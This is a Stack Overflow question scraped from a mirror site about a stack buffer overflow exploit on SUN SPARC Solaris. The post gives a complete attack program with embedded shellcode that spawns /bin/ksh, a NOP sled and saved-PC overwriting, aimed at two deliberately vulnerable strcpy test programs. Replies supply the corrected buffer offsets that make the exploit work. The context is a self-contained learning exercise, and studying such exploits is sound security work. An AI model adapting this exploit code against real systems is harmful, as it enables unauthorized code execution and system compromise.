开发者

Stack Overflow on SUN Sparc

/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 464
#define DUFSIZE 456

/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }

main( int argc, char *argv[] ) {

        char buf[ BUFSIZE+1 ],*ptr;
        unsigned long ret,sp;
        int rem,i,err;
        ret = sp = get_sp();

        /* align return address */
        if( ( rem = ret % 8 ) ){ ret &= ~(rem); }

        bzero( buf, BUFSIZE );
        for(i = 0; i < BUFSIZE; i += 4)
          strcpy( &buf[i], np );

        memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));

        ptr = &buf[DUFSIZE];

        /* set fp to a save stack value */
        *( ptr++ ) = ( sp >> 24 ) & 0xff;
        *( ptr++ ) = ( sp >> 16 ) & 0xff;
        *( ptr++ ) = ( sp >> 8 ) & 0xff;
        *( ptr++ ) = ( sp ) & 0xff;

        /* overwrite saved PC */
        *( ptr++ ) = ( ret >> 24 ) & 0xff;
        *( ptr++ ) = ( ret >> 16 ) & 0xff;
        *( ptr++ ) = ( ret >> 8 ) & 0xff;
        *( ptr++ ) = ( ret ) & 0xff;

        buf[ BUFSIZE ] = 0;

        //err = execl( "./server1", "server1", buf, ( void *)0 );
        err = execl( "./server2", "server2", buf, ( void *)0 );
        if( err == -1 ) perror("execl");
}

Compiling and running attack.c, I'm able to exploiting the vulnerability in server1.c

/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
    char foo[400];
    int i, j, k;
    strcpy(foo, a);
    i = 1;
}

void main(int argc, char *argv[]){

    if(argc >=2 )copy( argv[1] );
}

But attack.c doesn't do the same with server2. Any idea why?

/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
    char buf[200];
    int i, j, k;
    strcpy(buf,a);
    i = 1;
}

void copy1(const char *a){
    char foo[200];
    int i, j, k;
    copy2(a);
    i = 1;
}

void main( int argc, char *argv[] ) {

    if (argc >=2 )copy1( argv[1] );
}

Here is the assembly for server2.c:

(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>:   save  %sp, -304, %sp
0x00010bdc <copy2+4>:   add  %fp, -200, %o0
0x00010be0 <copy2+8>:   call  0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>:  mov  %i0, %o1
0x00010be8 <copy2+16>:  mov  1, %l0
0x00010bec <copy2+20>:  st  %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>:  ret 
0x00010bf4 <copy2+28>:  restore 
0x00010bf8 <copy2+32>:  ret 
0x00010bfc <copy2+36>:  restore 
0x00010c00 <copy2+40>:  illtrap  0x10000
0x00010c04 <copy2+44>:  illtrap  0x10000
0x00010c08 <copy2+48>:  illtrap  0x10000
0x00010c0c <copy2+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>:   save  %sp, -304, %sp
0x00010c14 <copy1+4>:   call  0x10bd8 <copy2>
0x00010c18 <copy1+8>:   mov  %i0, %o0
0x00010c1c <copy1+12>:  mov  1, %l0
0x00010c20 <copy1+16>:  st  %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>:  ret 
0x00010c28 开发者_StackOverflow社区<copy1+24>:  restore 
0x00010c2c <copy1+28>:  ret 
0x00010c30 <copy1+32>:  restore 
0x00010c34 <copy1+36>:  illtrap  0x10000
0x00010c38 <copy1+40>:  illtrap  0x10000
0x00010c3c <copy1+44>:  illtrap  0x10000
0x00010c40 <copy1+48>:  illtrap  0x10000
0x00010c44 <copy1+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas main 
Dump of assembler code for function main:
0x00010c48 <main+0>:    save  %sp, -96, %sp
0x00010c4c <main+4>:    cmp  %i0, 2
0x00010c50 <main+8>:    bl  0x10c68 <main+32>
0x00010c54 <main+12>:   nop 
0x00010c58 <main+16>:   call  0x10c10 <copy1>
0x00010c5c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c60 <main+24>:   ret 
0x00010c64 <main+28>:   restore 
0x00010c68 <main+32>:   ret 
0x00010c6c <main+36>:   restore 
End of assembler dump.

And for server1.c:

(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>:    save  %sp, -504, %sp
0x00010bc4 <copy+4>:    add  %fp, -400, %o0
0x00010bc8 <copy+8>:    call  0x20c98 <strcpy@plt>
0x00010bcc <copy+12>:   mov  %i0, %o1
0x00010bd0 <copy+16>:   mov  1, %l0
0x00010bd4 <copy+20>:   st  %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>:   ret 
0x00010bdc <copy+28>:   restore 
0x00010be0 <copy+32>:   ret 
0x00010be4 <copy+36>:   restore 
0x00010be8 <copy+40>:   illtrap  0x10000
0x00010bec <copy+44>:   illtrap  0x10000
0x00010bf0 <copy+48>:   illtrap  0x10000
0x00010bf4 <copy+52>:   illtrap  0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>:    save  %sp, -96, %sp
0x00010bfc <main+4>:    cmp  %i0, 2
0x00010c00 <main+8>:    bl  0x10c18 <main+32>
0x00010c04 <main+12>:   nop 
0x00010c08 <main+16>:   call  0x10bc0 <copy>
0x00010c0c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c10 <main+24>:   ret 
0x00010c14 <main+28>:   restore 
0x00010c18 <main+32>:   ret 
0x00010c1c <main+36>:   restore 


End of assembler dump.

what do I need to modify in attack.c to make it exploit server2.c?


pfff... finally.

#define BUFSIZE 464
#define DUFSIZE 256

I thought the offset was 8, but it's 200 + 8.


Maybe the compiler doesn't allocate space for foo[] in copy1() because it's unused. The only way to know for sure is to look at the generated assembler code for your executables.


Based on my understanding since the copy2() is the callee and copy1() is the caller and the stack frame of copy1 is below copy2, we find sum of bytes allocated to foo and buff which gives the size of the buffer. We then get the offset value by adding a value to size of buff. This value is obtained from calculating difference in addresses of the point where buffer overflow instruction is being called in the callee to the return address in the caller just after the call to callee is made since that is where we introduce the shell code. Buffsize+32+32-8

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜